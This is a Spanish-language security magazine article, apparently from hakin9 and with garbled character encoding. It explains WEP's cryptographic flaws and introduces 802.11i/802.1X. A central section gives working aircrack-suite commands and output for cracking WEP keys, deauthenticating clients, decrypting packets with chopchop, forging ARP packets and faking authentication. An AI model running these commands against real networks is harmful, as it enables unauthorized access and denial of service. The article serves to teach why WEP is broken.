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Aun cuando se activen las medidas de 
seguridad en los aparatos Wi-Fi, se 
utiliza un protocolo de encriptaci·n 

d®bil, como WEP. En este art²culo, exami-
naremos las debilidades de WEP y veremos 
lo sencillo que es crackear el protocolo. La 
lamentable inadecuaci·n de WEP resalta 
la necesidad de una nueva arquitectura de 
seguridad en el est§ndar 802.11i, por lo que 
tambi®n estudiaremos la puesta en pr§ctica  
de WPA y WPA2 junto a sus primeras vulne-
rabilidades menores y su integraci·n en los 
sistemas operativos.

R.I.P. WEP
WEP (Wired Equivalent Privacy) fue el primer 
protocolo de encriptaci·n introducido en el pri-
mer est§ndar IEEE 802.11 all§ por 1999. Est§ 
basado en el algoritmo de encriptaci·n RC4, 
con una clave secreta de 40 o 104 bits, combi-
nada con un Vector de Inicializaci·n (IV) de 24 
bits para encriptar el mensaje de texto M y su 
checksum ï el ICV (Integrity Check Value). El 
mensaje encriptado C se determinaba utilizan-
do la siguiente f·rmula:

C = [ M || ICV(M) ] + [ RC4(K || IV) ]

donde || es un operador de concatenaci·n y 
+ es un operador XOR. Claramente, el vector 
de inicializaci·n es la clave de la seguridad 
WEP, as² que para mantener un nivel decen-
te de seguridad y minimizar la difusi·n, el IV 
debe ser aplicado a cada paquete, para que 
los paquetes subsiguientes est®n encriptados 
con claves diferentes. Desafortunadamente 
para la seguridad WEP, el IV es transmitido en 
texto simple, y el est§ndar 802.11 no obliga a la 
incrementaci·n del IV, dejando esta medida de 
seguridad como opci·n posible para una termi-
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Grado de diýcultad

La tecnolog²a Wi-Fi (Wireless Fidelity) es una de las tecnolog²as 
l²der en la comunicaci·n inal§mbrica, y el soporte para Wi-Fi 
se est§ incorporando en cada vez m§s aparatos: port§tiles, 
PDAs o tel®fonos m·viles. De todas formas, hay un aspecto que 
en demasiadas ocasiones pasa desapercibido: la seguridad. 
Analicemos con m§s detalle el nivel de seguridad de los m®todos 
de encriptaci·n utilizados por las soluciones Wi-Fi actuales.

En este art²culo aprender§s...
Å  las debilidades de la encriptaci·n WEP,
Å  una visi·n global del est§ndar 802.11i y sus 

aplicaciones comerciales: WPA y WPA2,
Å  los fundamentos de 802.1x,
Å  las debilidades potenciales de WPA y WPA2.

Lo que deber²as saber...
Å  los fundamentos de los protocolos TCP/IP 

y Wi-Fi,
Å  debes tener nociones b§sicas de criptograf²a.
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nal inal§mbrica particular (punto de 
acceso o tarjeta inal§mbrica).

Breve historia de WEP
El protocolo WEP no fue creado por 
expertos en seguridad o criptograf²a, 
as² que pronto se demostr· que era 
vulnerable ante los problemas RC4 
descritos por David Wagner cuatro 
a¶os antes. En 2001, Scott Fluhrer, 
Itsik Mantin y Adi Shamir (FMS pa-
ra abreviar) publicaron su famoso 
art²culo sobre WEP, mostrando dos 
vulnerabilidades en el algoritmo de 
encriptaci·n: debilidades de no-va-
riaci·n y ataques IV conocidos. Am-
bos ataques se basan en el hecho de 
que para ciertos valores de clave es 
posible que los bits en los bytes ini-
ciales del þujo de clave dependan de 
tan s·lo unos pocos bits de la clave 
de encriptaci·n (aunque normal-
mente cada bit de un þujo de clave 
tiene una posibilidad del 50% de ser 
diferente del anterior). Como la cla-
ve de encriptaci·n est§ compuesta 
concatenando la clave secreta con 
el IV, ciertos valores de IV muestran 
claves d®biles.

Estas vulnerabilidades fueron 
aprovechadas por herramientas de 
seguridad como AirSnort, permi-
tiendo que las claves WEP fueran 
descubiertas analizando una can-
tidad de tr§ýco suýciente. Aunque 
este tipo de ataque pod²a ser de-
sarrollado con ®xito en una red con 
mucho tr§ýco en un plazo de tiempo 
razonable, el tiempo requerido para 
el procesamiento de los datos era 
bastante largo. David Hulton (h1kari) 
ide· un m®todo optimizado de este 
mismo ataque, tomando en consi-
deraci·n no s·lo el primer byte de 
la salida RC4 (como en el m®todo 
FMS), sino tambi®n los siguientes. 
Esto result· en una ligera reducci·n 
de la cantidad de datos necesarios 
para el an§lisis.

La etapa de comprobaci·n de 
integridad tambi®n sufre de serias 
debilidades por culpa del algoritmo 
CRC32 utilizado para esta tarea. 
CRC32 se usa normalmente para la 
detecci·n de errores, pero nunca fue 
considerado como seguro desde un 
punto de vista criptogr§ýco, debido 

a su linealidad, algo que Nikita Bori-
sov, Ian Goldberg y David Wagner ya 
hab²an advertido en 2001.

Desde entonces, se ha acepta-
do que WEP proporciona un nivel 
de seguridad aceptable s·lo para 
usuarios dom®sticos y aplicaciones 
no cr²ticas. Sin embargo, incluso 
eso se desvaneci· con la apari-
ci·n de los ataques KoreK en 2004 
(ataques generalizados FMS, que 
inclu²an optimizaciones de h1kari), 
y el ataque inductivo invertido Ar-
baugh, permitiendo que paquetes 
arbitrarios fueran desencriptados 
sin necesidad de conocer la clave 
utilizando la inyecci·n de paquetes. 

Las herramientas de cracking, co-
mo Aircrack de Christophe Devine o 
WepLab de Jos® Ignacio S§nchez, 
ponen en pr§ctica estos ataques y 
pueden extraer una clave WEP de 
128-bits en menos de 10 minutos (o 
algo m§s, dependiendo del punto 
de acceso y la tarjeta wireless es-
pec²ýcos).

La incorporaci·n de la inyecci·n 
de paquetes mejor· sustancialmen-
te los tiempos de crackeo de WEP, 
requiriendo tan s·lo miles, en lugar 
de millones, de paquetes con suý-
cientes IVs ¼nicos ï alrededor de 
150,000 para una clave WEP de 
64-bits y 500,000 para una clave de 

Figura 1. Protocolo de encriptaci·n WEP

Tabla 1. Cronolog²a de la muerte de WEP
Fecha Descripci·n

Septiembre 
1995

Vulnerabilidad RC4 potencial (Wagner)

Octubre 
2000

Primera publicaci·n sobre las debilidades de WEP: Insegura 
para cualquier tama¶o de clave; An§lisis de la encapsula-
ci·n WEP (Walker)

Mayo 2001 Ataque contra WEP/WEP2 de Arbaugh
Julio 2001 Ataque CRC bit þipping ï Intercepting Mobile Communica-

tions: The Insecurity of 802.11 (Borisov, Goldberg, Wagner)
Agosto 
2001

Ataques FMS ï Debilidades en el algoritmo de programa-
ci·n de RC4 (Fluhrer, Mantin, Shamir)

Agosto 
2001

Publicaci·n de AirSnort

Febrero 
2002

Ataques FMS optimizados por h1kari

Agosto 
2004

Ataques KoreK (IVs ¼nicos) ï publicaci·n de chopchop y 
chopper

Julio/
Agosto 
2004

Publicaci·n de Aircrack (Devine) y WepLab (S§nchez), 
poniendo en pr§ctica los ataques KoreK.
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128-bits. Con la inyecci·n de paque-
tes, el obtener los datos necesarios 
era apenas una tarea de minutos. 
En la actualidad, WEP est§ deýni-
tivamente muerto (ver Tabla 1) y no 
deber²a ser utilizado, ni siquiera con 
rotaci·n de claves.

Los fallos de seguridad de WEP 
pueden resumirse tal y como sigue:

Å  debilidades del algoritmo RC4 
dentro del protocolo WEP debido 
a la construcci·n de la clave,

Å  los IVs son demasiado cortos (24 
bits ï hacen falta menos de 5000 
paquetes para tener un 50% de 
posibilidades de dar con la clave) 
y se permite la reutilizaci·n de 
IV (no hay protecci·n contra la 
repetici·n de mensajes),

Å  no existe una comprobaci·n de 
integridad apropiada (se utiliza 
CRC32 para la detecci·n de 
errores y no es criptogr§ýcamen-
te seguro por su linealidad),

Å  no existe un m®todo integrado de 
actualizaci·n de las claves.

Crackeado de la clave WEP 
utilizando Aircrack
El crackeado de WEP puede ser 
demostrado con facilidad utilizando 
herramientas como Aircrack (creado 
por el investigador franc®s en temas 
de seguridad, Christophe Devine). 
Aircrack contiene tres utilidades 
principales, usadas en las tres fases 
del ataque necesario para recuperar 
la clave:

Å  airodump: herramienta de sni-
fýng utilizada para descubrir las 
redes que tienen activado WEP,

Å  aireplay: herramienta de inyec-
ci·n para incrementar el tr§ýco,

Å  aircrack: crackeador de claves 
WEP que utiliza los IVs ¼nicos 
recogidos.

En la actualidad, Aireplay s·lo so-
porta la inyecci·n en algunos chip-
sets wireless, y el soporte para la 
inyecci·n en modo monitor requiere 
los ¼ltimos drivers parcheados. El 
modo monitor es el equivalente 
del modo promiscuo en las redes 
de cable, que previene el rechazo 
de paquetes no destinados al host 
de monitorizaci·n (lo que se hace 
normalmente en la capa f²sica del 
stack OSI), permitiendo que todos 
los paquetes sean capturados. Con 
los drivers parcheados, s·lo se 
necesita una tarjeta wireless para 
capturar e inyectar tr§ýco simult§-
neamente.

La meta principal del ataque es 
generar tr§ýco para capturar IVs 
¼nicos utilizados entre un cliente le-
g²timo y el punto de acceso. Algunos 
datos encriptados son f§cilmente re-
conocibles porque tienen una longi-
tud ýja, una direcci·n de destino ýja, 
etc. Esto sucede con los paquetes 
de petici·n ARP (v®ase Recuadro 
ARP-Request), que son enviadas 
a la direcci·n broadcast (FF:FF:FF:
FF:FF:FF) y tienen una longitud ýja 
de 68 octetos. Las peticiones ARP 

pueden ser repetidas para generar 
nuevas respuestas ARP desde un 
host leg²timo, haciendo que los men-
sajes wireless sean encriptados con 
nuevos IVs.

En los siguientes ejemplos, 00:
13:10:1F:9A:72 es la direcci·n MAC 
del punto de acceso (BSSID) en el 
canal 1 con ESSID hakin9demo y 
00:09:5B:EB:C5:2B es la direcci·n 
MAC de un cliente wireless (utili-
zando WEP o WPA-PSK, depen-
diendo del caso). La mayor parte de 
los comandos requieren privilegios 
de root.

El primer paso, es la activaci·n 
del modo monitor en nuestra tarjeta 
wireless (en este caso, un modelo 
basado en Atheros), as² que po-
demos capturar todo el tr§ýco (ver 
Listado 1). El paso siguiente, ser§ 
descubrir redes cercanas y sus 
clientes, escaneando los 14 cana-
les que utilizan las redes Wi-Fi (ver 
Listado 2).

El resultado del Listado 2 se 
puede interpretar de esta forma: un 
punto de acceso con BSSID 00:13:
10:1F:9A:72 est§ usando encripta-
ci·n WEP en el canal 1 con SSID 
hakin9demo y un cliente identiýcado 
con MAC 00:0C:F1:19:77:5C est§n 
asociados y autenticados en esta 
red wireless.

ARP-Request
El protocolo Address Resolution Pro-
tocol (ARP ï RFC826) es usado para 
traducir una direcci·n IP de 32-bits a 
una direcci·n Ethernet de 48-bits (las 
redes Wi-Fi tambi®n utilizan el protoco-
lo ethernet). Para ilustrarlo, cuando un 
host A (192.168.1.1) quiere comunicar-
se con un host B (192.168.1.2), la direc-
ci·n IP conocida debe ser traducida a 
una direcci·n MAC utilizando el proto-
colo ARP. Para hacerlo, el host A env²a 
un mensaje broadcast conteniendo la 
direcci·n IP del host B (àQui®n tiene 
192.168.1.2? Dec²rselo a 192.168.1.1). 
El host objetivo, reconociendo que la 
direcci·n IP en los paquetes coincide 
con la suya propia, devuelve una res-
puesta (192.168.1.2 est§ en 01:23:45:
67:89:0A). La respuesta es t²picamente 
almacenada en la cach®.

Listado 1. Activando el modo monitor

# airmon.sh start ath0

Interface       Chipset         Driver

ath0            Atheros         madwiý (monitor mode enabled)

Listado 2. Descubriendo las redes cercanas y sus clientes

# airodump ath0 wep-crk 0

 BSSID              PWR  Beacons   # Data  CH  MB  ENC   ESSID

 00:13:10:1F:9A:72   62      305       16   1  48  WEP   hakin9demo         

 BSSID              STATION            PWR  Packets  ESSID                  

 00:13:10:1F:9A:72  00:0C:F1:19:77:5C   56        1  hakin9demo
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Una vez se haya localizado la 
red objetivo, deber²amos empezar 
a capturar en el canal correcto para 
evitar la p®rdida de paquetes mien-
tras escaneamos otros canales. Esto 
produce la misma respuesta que el 
comando previo:

# airodump ath0 wep-crk 1

Despu®s, podremos usar la informa-
ci·n recogida para inyectar tr§ýco 
utilizando aireplay. La inyecci·n 
empezar§ cuando una petici·n ARP 
capturada, asociada con el BSSID 
objetivo aparezca en la red inal§m-
brica:

# aireplay -3 \

  -b 00:13:10:1F:9A:72 \

  -h 00:0C:F1:19:77:5C \

  -x 600 ath0

(...)

Read 980 packets

  (got 16 ARP requests),

  sent 570 packets...

Finalmente, aircrack se utiliza para 
recuperar la clave WEP. Utilizando el 
ýchero pcap se hace posible lanzar 
este paso ýnal mientras airodump si-
gue capturando datos (v®ase Figura 2
para los resultados):

# aircrack -x -0 wep-crk.cap

Otros tipos de ataque 
Aircrack
Aircrack hace tambi®n posible rea-
lizar otros tipos interesantes de ata-
ques. Veamos algunos de ellos.

Ataque 2: Deautenticaci·n
Este ataque puede ser usado pa-
ra recuperar un SSID oculto (por 
ejemplo, uno que no sea broadcast), 
capturar un WPA 4-way handshake 
o forzar una Denegaci·n del Servi-
cio (m§s sobre ello despu®s, en la 
secci·n sobre 802.11i). El objetivo 
del ataque es forzar al cliente a 
reautenticarse, lo que unido a la falta 
de autenticaci·n para los marcos de 
control (usados para autenticaci·n, 
asociaci·n, etc.) hace posible que el 
atacante consiga hacer spoof de las 
direcciones MAC.

Un cliente wireless puede ser 
deautenticado usando el siguiente 
comando, que hace que se env²en 
paquetes de deautenticaci·n desde 
el BSSID al cliente MAC haciendo 
spooýng del BSSID:

# aireplay -0 5 

  -a 00:13:10:1F:9A:72 

  -c 00:0C:F1:19:77:5C 

  ath0

Se puede lograr una deautentica-
ci·n masiva, aunque no siempre 
es ýable, haciendo que el atacante 
est® haciendo spooýng constante 
del BSSID y reenviando el paquete 
de deautenticaci·n a la direcci·n 
broadcast:

# aireplay -0 0

  -a 00:13:10:1F:9A:72

  ath0

Ataque 3: Desencriptaci·n 
de paquetes de datos WEP 
arbitrarios sin conocer la 
clave
Este ataque est§ basado en la 
herramienta representativa de Ko-
reK, llamada chopchop, que puede 
desencriptar paquetes encriptados 
con WEP sin conocer la clave. El 
chequeo de integridad implementa-
do en el protocolo WEP permite que 
el atacante pueda modiýcar tanto un 
paquete encriptado como su corres-
pondiente CRC. M§s a¼n, el uso del 

operador XOR en el protocolo WEP 
signiýca que un byte seleccionado 
en el mensaje encriptado siempre 
depende del mismo byte en el pa-
quete plaintext. Cortando el ¼ltimo 
byte del mensaje encriptado lo co-
rrompe, pero tambi®n hace posible 
intentar adivinar el valor del byte 
plaintext correspondiente y corregir 
el mensaje encriptado.

Si el paquete corregido es re-
inyectado a la red, ser§ desechado 
por el punto de acceso si el intento 
ha sido incorrecto (en cuyo caso 
hay que hacer otro intento), pero si 
el intento ha tenido ®xito, se tomar§ 
el paquete como de costumbre. Re-
petir el ataque para todos los bytes 
del mensaje consigue que poda-
mos desencriptar un paquete WEP 
y recuperar el þujo de clave. Recor-
demos que la implementaci·n IV no 
es obligatoria en el protocolo WEP, 
as² que es posible reutilizar este 
þujo de datos para hacer spoof de 
paquetes posteriores (reutilizando 
el mismo IV).

La tarjeta wireless debe estar 
situada en modo monitor, en el 
canal adecuado (v®ase el ejemplo 
previo para una descripci·n de 
c·mo hacerlo). El ataque debe ser 
lanzado contra un cliente leg²timo 
(por ejemplo 00:0C:F1:19:77:5C en 
nuestro caso) y aireplay pedir§ al 
atacante que acepte los paquetes 
encriptados (ver Listado 3). Se crean 
dos ýcheros pcap: uno para los pa-

Figura 2. Resultados de Aircrack despu®s de unos minutos
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quetes desencriptados, y otro para 
su þujo de datos correspondiente. El 
archivo resultante puede ser legible 
por humanos usando un lector apro-
piado (usaremos tcpdump) ï v®ase 
el Listado 4 para un ejemplo de ping 
intercambiado entre hosts.

Una vez capturado el þujo de cla-
ve, es posible imitar cualquier paque-
te. Aqu² tenemos una petici·n ARP 
enviada desde 192.168.2.123 (00:
0C:F1:19:77:5C) a 192.168.2.103:

# arpforge \

  replay_dec-0916-114019.xor \

  1 \

  00:13:10:1F:9A:72 \

  00:0C:F1:19:77:5C \

  192.168.2.123 \

  192.168.2.103 \

  forge-arp.cap

Finalmente aireplay se usa para 
volver a ejecutar este paquete (ver 
Listado 5).

Este m®todo es menos auto-
m§tico que el propio ARP request 
spooýng de Airckrack (la opci·n -1), 
pero es m§s escalable ï el atacante 
puede usar el þujo descubierto para 
imitar cualquier paquete que no sea 
m§s largo que el þujo de datos (si 
no, el þujo de clave debe ser expan-
dido).

Ataque 4: Autenticaci·n falsa
El m®todo de crackeado de la cla-
ve WEP descrito anteriormente 
(Ataques 1 y 3) requiere un cliente 
leg²timo (real o virtual, aunque real 
ser²a mejor), asociado con el punto 
de acceso para asegurarse de que el 
punto de acceso no rechace los pa-
quetes por una direcci·n de destino 
no asociada.

Si se utiliza autenticaci·n abier-
ta, cualquier cliente podr§ ser au-
tenticado y asociado con el punto 
de acceso, pero el punto de acceso 
rechazar§ los paquetes no encripta-
dos con la clave WEP correcta. En 
el ejemplo del Listado 6, se utiliza 
Aireplay para imitar una petici·n de 
autenticaci·n y asociaci·n para el 
SSID hakin9demo (BSSID: 00:13:
10:1F:9A:72) con la direcci·n MAC 
falseada 0:1:2:3:4:5.

Listado 3. Desencriptando paquetes WEP sin conocer la clave

# aireplay -4 -h 00:0C:F1:19:77:5C ath0

Read 413 packets...

 Size: 124, FromDS: 0, ToDS: 1 (WEP)

      BSSID  =  00:13:10:1F:9A:72

  Dest. MAC  =  00:13:10:1F:9A:70

 Source MAC  =  00:0C:F1:19:77:5C

 0x0000:  0841 d500 0013 101f 9a72 000c f119 775c  .A.......r....w\

 0x0010:  0013 101f 9a70 c040 c3ec e100 b1e1 062c  .....p.@.......,

 0x0020:  5cf9 2783 0c89 68a0 23f5 0b47 5abd 5b76  \.'...h.#..GZ.[v

 0x0030:  0078 91c8 adfe bf30 d98c 1668 56bf 536c  .x.....0...hV.Sl

 0x0040:  7046 5fd2 d44b c6a0 a3e2 6ae1 3477 74b4  pF_..K....j.4wt.

 0x0050:  fb13 c1ad b8b8 e735 239a 55c2 ea9f 5be6  .......5#.U...[.

 0x0060:  862b 3ec1 5b1a a1a7 223b 0844 37d1 e6e1  .+>.[...";.D7...

 0x0070:  3b88 c5b1 0843 0289 1bff 5160            ;....C....Q`

Use this packet ? y

Saving chosen packet in replay_src-0916-113713.cap

Offset  123 ( 0% done) | xor = 07 | pt = 67 |  373 frames written in  1120ms

Offset  122 ( 1% done) | xor = 7D | pt = 2C |  671 frames written in  2013ms

(...)

Offset   35 (97% done) | xor = 83 | pt = 00 |  691 frames written in  2072ms

Offset   34 (98% done) | xor = 2F | pt = 08 |  692 frames written in  2076ms

Saving plaintext in replay_dec-0916-114019.cap

Saving keystream in replay_dec-0916-114019.xor

Completed in 183s (0.47 bytes/s)

Listado 4. Leyendo un ýchero pcap del ataque

# tcpdump -s 0 -n -e -r replay_dec-0916-114019.cap

reading from ýle replay_dec-0916-114019.cap, link-type IEEE802_11 (802.11)

11:40:19.642112 BSSID:00:13:10:1f:9a:72 

SA:00:0c:f1:19:77:5c DA:00:13:10:1f:9a:70

LLC, dsap SNAP (0xaa), ssap SNAP (0xaa), cmd 0x03: oui Ethernet (0x000000),

ethertype IPv4 (0x0800): 192.168.2.103 > 192.168.2.254:

ICMP echo request, id 23046, seq 1, length 64

Listado 5. Re-ejecuci·n de un paquete falso

# aireplay -2 -r forge-arp.cap ath0

 Size: 68, FromDS: 0, ToDS: 1 (WEP)

      BSSID  =  00:13:10:1F:9A:72

  Dest. MAC  =  FF:FF:FF:FF:FF:FF

 Source MAC  =  00:0C:F1:19:77:5C

 0x0000:  0841 0201 0013 101f 9a72 000c f119 775c  .A.......r....w\

 0x0010:  ffff ffff ffff 8001 c3ec e100 b1e1 062c  ...............,

 0x0020:  5cf9 2785 4988 60f4 25f1 4b46 1ab0 199c  \.'.I.`.%.KF....

 0x0030:  b78c 5307 6f2d bdce d18c 8d33 cc11 510a  ..S.o-.....3..Q.

 0x0040:  49b7 52da                                I.R.

Use this packet ? y

Saving chosen packet in replay_src-0916-124231.cap

You must also start airodump to capture replies.

Sent 1029 packets...

Listado 6. Autenticaci·n falsa

# aireplay -1 0 -e hakin9demo -a 00:13:10:1F:9A:72 -h 0:1:2:3:4:5 ath0

18:30:00  Sending Authentication Request

18:30:00  Authentication successful

18:30:00  Sending Association Request

18:30:00  Association successful
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Algunos puntos de acceso re-
quieren que los clientes se vuelvan 
a asociar cada 30 segundos. Este 

comportamiento puede ser mini-
mizado en aireplay sustituyendo la 
segunda opci·n (0) por 30.

802.11i
En enero de 2001, el grupo de 
trabajo i task group fue creado en 
IEEE para mejorar la seguridad en 
la autenticaci·n y la encriptaci·n 
de datos. En abril de 2003, la Wi-Fi 
Alliance (una asociaci·n que pro-
mueve y certiýca Wi-Fi) realiz· una 
recomendaci·n para responder a 
las preocupaciones empresariales 
ante la seguridad inal§mbrica. Sin 
embargo, eran conscientes de que 
los clientes no querr²an cambiar sus 
equipos.

En junio de 2004, la edici·n ýnal 
del est§ndar 802.11i fue adoptada y 
recibi· el nombre comercial WPA2 
por parte de la alianza Wi-Fi. El es-
t§ndar IEEE 802.11i introdujo varios 
cambios fundamentales, como la 
separaci·n de la autenticaci·n de 
usuario de la integridad y privacidad 
de los mensajes, proporcionando 
una arquitectura robusta y escala-
ble, que sirve igualmente para las 
redes locales dom®sticas como para 
los grandes entornos de red corpo-
rativos. La nueva arquitectura para 
las redes wireless se llama Robust 
Security Network (RSN) y utiliza 
autenticaci·n 802.1X, distribuci·n de 
claves robustas y nuevos mecanis-
mos de integridad y privacidad.

Adem§s de tener una arquitectu-
ra m§s compleja, RSN proporciona 
soluciones seguras y escalables 
para la comunicaci·n inal§mbrica. 
Una RSN s·lo aceptar§ m§quinas 
con capacidades RSN, pero IEEE 
802.11i tambi®n deýne una red tran-
sicional de seguridad ï Transitional 
Security Network (TSN), arquitectu-
ra en la que pueden participar siste-
mas RSN y WEP, permitiendo a los 
usuarios actualizar su equipo en el 
futuro. Si el proceso de autenticaci·n 
o asociaci·n entre estaciones utiliza 
4-Way handshake, la asociaci·n 
recibe el nombre de RSNA (Robust 
Security Network Association).

El establecimiento de un contex-
to seguro de comunicaci·n consta 
de cuatro fases (ver Figura 4):

Å  acuerdo sobre la pol²tica de se-
guridad,

Å  autenticaci·n 802.1X,

IEEE 802.1X y EAP
El protocolo de autenticaci·n IEEE 802.1X (tambi®n conocido como Port-Based Net-
work Access Control) es un entorno desarrollado originalmente para redes de cable, y 
posee mecanismos de autenticaci·n, autorizaci·n y distribuci·n de claves y adem§s 
incorpora controles de acceso para los usuarios que se unan a la red. La arquitectura 
IEEE 802.1X est§ compuesta por tres entidades funcionales:

Å  el suplicante que se une a la red,
Å  el autenticador que hace el control de acceso,
Å  el servidor de autenticaci·n que toma las decisiones de autorizaci·n.

En las redes inal§mbricas, el punto de acceso sirve de autenticador. Cada puerto f²sico 
(puerto virtual en las redes inal§mbricas) se divide en dos puertos l·gicos, formando 
la PAE (Port Access Entity). La PAE de autenticaci·n est§ siempre abierta y permite el 
paso de procesos de autenticaci·n, mientras que el PAE de servicio s·lo se abre tras 
una autenticaci·n exitosa (por ejemplo, una autorizaci·n) por un tiempo limitado (3600 
segundos por defecto). La decisi·n de permitir acceso est§ hecha por lo general por la 
tercera entidad, el servidor de autenticaci·n (que puede ser un servidor Radius dedi-
cado o ï por ejemplo en las redes dom®sticas ï un simple proceso funcionando en el 
punto de acceso). La Figura 3 ilustra el modo de comunicaci·n entre estas entidades.

El est§ndar 802.11i hace peque¶as modiýcaciones a IEEE 802.1X para que las 
redes inal§mbricas est®n protegidas frente al robo de identidades. La autenticaci·n 
de mensajes se ha incorporado para asegurarse de que tanto el suplicante como el 
autenticador calculan sus claves secretas y activan la encriptaci·n antes de acceder 
a la red.

El suplicante y el autenticador se comunican mediante un protocolo basado en 
EAP. El rol del autenticador es, esencialmente, pasivo ï se limita a enviar todos los 
mensajes al servidor de autenticaci·n. EAP es un entorno para el transporte de varios 
m®todos de autenticaci·n y permite s·lo un n¼mero limitado de mensajes (Request, 
Response, Success, Failure), mientras que otros mensajes intermedios son depen-
dientes del m®todo seleccionado de autenticaci·n: EAP-TLS, EAP-TTLS, PEAP, 
Kerberos V5, EAP-SIM etc. Cuando se completa el proceso (por la multitud de m®to-
dos posibles no entraremos en detalles), ambas entidades (suplicante y servidor de 
autenticaci·n) tendr§n una clave maestra secreta. El protocolo utilizado en las redes 
inal§mbricas para transportar EAP se llama EAPOL (EAP Over LAN), las comunica-
ciones entre autenticador y servidor de autenticaci·n utilizan protocolos de capa m§s 
alta, como Radius, etc.

Figura 3. Modelo de IEEE 802.1X seg¼n la especiýcaci·n IEEE 802.1X




















